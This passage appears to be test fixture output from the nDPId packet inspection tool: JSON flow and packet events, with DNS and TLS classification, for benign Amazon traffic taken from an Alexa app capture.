+00617{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":938819,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"ePiC0\/vCAMDKkaPvCABFAAC90nlAAEARurysECoBrBAq2AA1y20AqYS4a+qBgAABAAYAAAAAA3d3dwZhbWF6b24DY29tAAABAAHADAAFAAEAAABMAAoDd3d3A2NkbsAQwCwABQABAAAA+AAfDmQzYWc0aHVra2g2MnluCmNsb3VkZnJvbnQDbmV0AMBCAAEAAQAAAAgABDRV0djAQgABAAEAAAAIAAQ0VdHFwEIAAQABAAAACAAENFXRj8BCAAEAAQAAAAgABDRV0Xo="} +00670{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":253,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":35,"flow_packet_id":2,"flow_first_seen":1490976041806,"flow_last_seen":1490976041938,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":40,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":52077,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"www.amazon.com","num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.85.209.216"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":254,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1490976041942,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54411,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":942417,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8BJdAAEAGWQ+sECrYNFXR2NSLAbvD9kolAAAAAKAC\/\/823gAAAgQFtAQCCAoA9k6yAAAAAAEDAwg="} +00427{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":952733,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwusBAAOcGsnU27xi6rBAq2AG7hOPN4I6FxM0uknASH\/5nFQAAAgQFtAEDAwY="} +00414{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":953612,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYDtAAEAGtAOsECrYNu8YuoTjAbvEzS6SzeCOhlAQAVexhgAA"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":257,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1490976041961,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54412,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":961796,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8261AAEAGgfisECrYNFXR2NSMAbsYT5UZAAAAAKAC\/\/+XjgAAAgQFtAQCCAoA9k60AAAAAAEDAwg="} +00723{"flow_id":36,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":962495,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"AMDKkaPvePiC0\/vCCABFAAELYDxAAEAGsx+sECrYNu8YuoTjAbvEzS6SzeCOhlAYAVd4ugAAFgMBAN4BAADaAwPrd1S1ddQk7rUlC7xdTTn0up1nnk\/tmx0cHtuMmn3chgAAIOrqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAkVpaAAD\/AQABAAAAACwAKgAAJ21vYmlsZWFuYWx5dGljcy51cy1lYXN0LTEuYW1hem9uYXdzLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACHp6AB0AFwAYuroAAQA="} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":258,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":36,"flow_packet_id":4,"flow_first_seen":1490976041870,"flow_last_seen":1490976041962,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34019,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00443{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":989388,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPMGqqU0VdHYrBAq2AG71Iuwz0jww\/ZKJqAScSDA4QAAAgQFtAQCCAptm51vAPZOsgEDAwg="} +00430{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":995382,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0BJhAAEAGWRasECrYNFXR2NSLAbvD9komsM9I8YAQAVdfcwAAAQEICgD2Trdtm51v"} +00707{"flow_id":37,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":995659,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"AMDKkaPvePiC0\/vCCABFAAD+BJlAAEAGWEusECrYNFXR2NSLAbvD9komsM9I8YAYAVe71AAAAQEICgD2Trdtm51vFgMBAMUBAADBAwO5UA\/iZEVzwxa2fCwy81ITWHfzxsPCnxUHsdFTfcWAvgAAILq6zKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAeAoKAAD\/AQABAAAAABMAEQAADnd3dy5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIWloAHQAXABjq6gABAA=="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":262,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":37,"flow_packet_id":4,"flow_first_seen":1490976041942,"flow_last_seen":1490976041995,"flow_tot_l4_data_len":346,"flow_min_l4_data_len":32,"flow_max_l4_data_len":234,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54411,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":263,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1490976042054,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54413,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":54012,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8AfNAAEAGW7OsECrYNFXR2NSNAbumNE9OAAAAAKAC\/\/9PagAAAgQFtAQCCAoA9k69AAAAAAEDAwg="} +00442{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":56791,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPMGqqU0VdHYrBAq2AG71Iw+cfkHGE+VGqAScSB8QwAAAgQFtAQCCAps\/wWhAPZOtAEDAwg="} +00430{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":57764,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0265AAEAGgf+sECrYNFXR2NSMAbsYT5UaPnH5CIAQAVca0QAAAQEICgD2Tr1s\/wWh"} +00706{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":58395,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"AMDKkaPvePiC0\/vCCABFAAD+269AAEAGgTSsECrYNFXR2NSMAbsYT5UaPnH5CIAYAVdplAAAAQEICgD2Tr1s\/wWhFgMBAMUBAADBAwOGZCJ5XClhLW3uSio8xzT8mg+rdruUVrO5OZF9oNZ61QAAIIqKzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAeCoqAAD\/AQABAAAAABMAEQAADnd3dy5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIamoAHQAXABh6egABAA=="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":266,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":38,"flow_packet_id":4,"flow_first_seen":1490976041961,"flow_last_seen":1490976042058,"flow_tot_l4_data_len":346,"flow_min_l4_data_len":32,"flow_max_l4_data_len":234,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54412,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00430{"flow_id":37,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":62566,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA01YZAAPMG1SY0VdHYrBAq2AG71Iuwz0jxw\/ZK8IAQAHZfggAAAQEICm2bnXcA9k63"} +00430{"flow_id":37,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":62700,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA01YdAAPMG1SU0VdHYrBAq2AG71Iuwz0jxw\/ZK8IAQAHZfggAAAQEICm2bnXcA9k63"} +02378{"flow_id":37,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":81606,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc1YhAAPMGz3w0VdHYrBAq2AG71Iuwz0jxw\/ZK8IAQAHY62gAAAQEICm2bnXkA9k63FgMDAFQCAABQAwNnOcRaJm9h2IiA8FHyGT2ob+d4Qt\/qg82KbIBXcm3x6QDALwAAKAAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAALAAkIaHR0cC8xLjEWAwML6AsAC+QAC+EABp8wggabMIIFg6ADAgECAhAdSr2qeNCa\/nmdQbzrenZiMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYxMDMxMDAwMDAwWhcNMTcxMjMxMjM1OTU5WjBoMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEXMBUGA1UEAwwOd3d3LmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDCWihndZ\/4HxzWdNmP\/XjAI8iPKFw5XnK0RlANu1+1aLE7FOkbZKWTYYjWnO0RKmikGZtj+Fozlg1YNgMevTUBC\/MCrCw3LPmxfivK2QgRYj3YOiYpu\/FAqvLSbRm6P0zNptlva8dvR1tbBSXbJefmeV8clJ+YPRNLdQU1pDNcTEWeUpT+LtWiYsQH870618nRXZdnNvM7HdF+9PLnCafgDEILucZGSU0EpVr6elGXTOP6WjIJoz4AXlhX1ltREi7FiJk5be7ZrrpXNjAJFrYR20hs8As791KsU0C5oCEqqkU3Q4HjZ3XohZQ4qIyIcMkvnXZgAkkGZ9A8jt9VC1cnAgMBAAGjggMpMIIDJTCB1AYDVR0RBIHMMIHJggphbWF6b24uY29tgghhbXpuLmNvbYIRdWVkYXRhLmFtYXpvbi5jb22CDXVzLmFtYXpvbi5jb22CDnd3dy5hbWF6b24uY29tggx3d3cuYW16bi5jb22CFGNvcnBvcmF0ZS5hbWF6b24uY29tghFidXlib3guYW1hem9uLmNvbYIRaXBob25lLmFtYXpvbi5jb22CDXlwLmFtYXpvbi5jb22CD2hvbWUuYW1hem9uLmNvbYIVb3JpZ2luLXd3dy5hbWF6b24uY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHSAEWjBYMFYGBmeBDAECAjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZDBdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFYGJ\/J8QAABAMASDBGAiEA6fFlggg6W7QvWe9jf7KTwDKBjO3dGyhkPVZyzlOX5b8CIQCuPTe0zJihJrUjbnOuq6NcNCnkacxegjQwcBcg1ZwRXQB3AGj2mPgfZIK+OozuuSgdTPxxUV1nk9RE0QpnrLtPT\/vEAAABWBifyhoAAAQ="} +00788{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":269,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":37,"flow_packet_id":7,"flow_first_seen":1490976041942,"flow_last_seen":1490976042081,"flow_tot_l4_data_len":1890,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":270,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54411,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02381{"flow_id":37,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":81999,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc1YlAAPMGz3s0VdHYrBAq2AG71Iuwz06Zw\/ZK8IAQAHZboAAAAQEICm2bnXkA9k63AwBIMEYCIQDRlQQ8KC2R\/bvOeWJr0FGedxbjE4OglejZEYKSCHekRQIhALbGyJPwAagwlRnFD5iqE1ZzSTO6uadnKEazPJcW2sRnMA0GCSqGSIb3DQEBCwUAA4IBAQA65KlsAxxtgfs05qV0ywTqM6qGzBkMIgJzJpCh9OR+X+STrfjphnLQlOwIuHxiF0oVphsf9oYW6TYQimBIKoFpP94WbG2ojsr39YJ6kiDhudt3ef24QnZ3AtnXM5OLVv46iwZst4TwdwO3\/Ialn7ql3sVX7+13yscEXfwfMT0JI1yzl+vZ8tR6bc5X9HqwjuADJelImPs\/TxshDt3JRhbUuKcFxjaEcEtRqoGemgZgEpRnifUSBvnl01IVzb71DGWuBpx0qrpruMAUU1lOJrg\/rwQMSXC2lSZDiDn1cjK0z+XLi7x86N\/7jW6zKh5RjSgrr6H7ZhiwtwpJzLsjT1CXAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE="} +02386{"flow_id":37,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":82340,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc1YpAAPMGz3o0VdHYrBAq2AG71Iuwz1RBw\/ZK8IAQAHazlwAAAQEICm2bnXkA9k63NlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHFgMDBlEWAAZNAQAGSTCCBkUKAQCgggY+MIIGOgYJKwYBBQUHMAEBBIIGKzCCBicwgZ6iFgQURSACqIuKZZ91+vXpChp40vA3C54YDzIwMTcwMzMwMDgyMTM1WjBzMHEwSTAJBgUrDgMCGgUABBTRsWSLjJ8N0Wujis0rUBfV+c\/AZAQUX2DPYZBV34RDFIpgKrL1evRDGO8CEB1Kvap40Jr+eZ1BvOt6dmKAABgPMjAxNzAzMzAwODIxMzVaoBEYDzIwMTcwNDA2MDgyMTM1WjANBgkqhkiG9w0BAQUFAAOCAQEAgQDMpzZdwJ3PrNgB8d8f1cjQX1Ry6VrhEzAt1lcEB4WgmdjO0Jj7\/gcGHmmN4xjsgLxWz0TLFJXU3wjsiTaR9iYjNwnlVX2RjmqVz5lsVlEMa28OUwUvMwlmN7cuMZgdMiCi\/EUGOIACQtCuusxL8xVXf3x1piP9W5dJahTjHK\/gDPNDIF+nVKPFnlMFE\/hen03A+k1mR9yGF\/JfOOfP\/b1322DA7bnEn3JSMiFcIxbsU2gE9h3ovCxMS6WLeuK87uLOMB+5jQuVgYqUfvRPYAHuBDr37eG8TeoadjSco88HooscltcumFNXAv5B6ADN85OBUnpTIBJzgqaLgcnVnqCCBG4wggRqMIIEZjCCA06gAwIBAgIQRGiQY2lIBdbK9v250cQFITANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE3MDIwNDAwMDAwMFoXDTE3MDUwNTIzNTk1OVowQDE+MDwGA1UEAxM1U3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQgT0NTUCBSZXNwb25kZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqK0Kffb5Auqq\/RTKlGMWnpdC7JmtnGiOAYwvZN2YjMK6fnb0hAgOMG1rLR76AfOlvGZpXezKtbbVssGNNzBnwJfejjdD4jlaNV3g2Sbl02\/W0C1EsVV7s4J8Dmxg7llU8aWUd6qxYyXvCNgMr0zT44ABlcJe7lYNxneZPdVb5+8NG48QecxpmEgLmwiH886a9SxZ\/5oFPCbvui09qrD9ZZDZeTWx3jja9a9brKoIv8Lz2opoIuWL\/3FE0ksMFSK5zl4n4ihm\/0beCKOUAGnRvV8Lf2TnNlIaBm4HCrofyw\/wGBxcmFekRRMYMG3tUe+29l40aopWwNOI7L3BhPMTrAgMBAAGjggEcMIIBGDAPBgkrBgEFBQcwAQUEAgUAMCIGA1UdEQQbMBmkFzAVMRMwEQYDVQQDEwpUR1YtRC0zODU3MB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB0GA1UdDgQWBBRFIAKoi4pln3X69ekKGnjS8DcLnjAMBgNVHRMBAf8EAjAAMG4GA1U="} +01265{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":271,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":37,"flow_packet_id":9,"flow_first_seen":1490976041942,"flow_last_seen":1490976042082,"flow_tot_l4_data_len":4850,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":538,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54411,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": 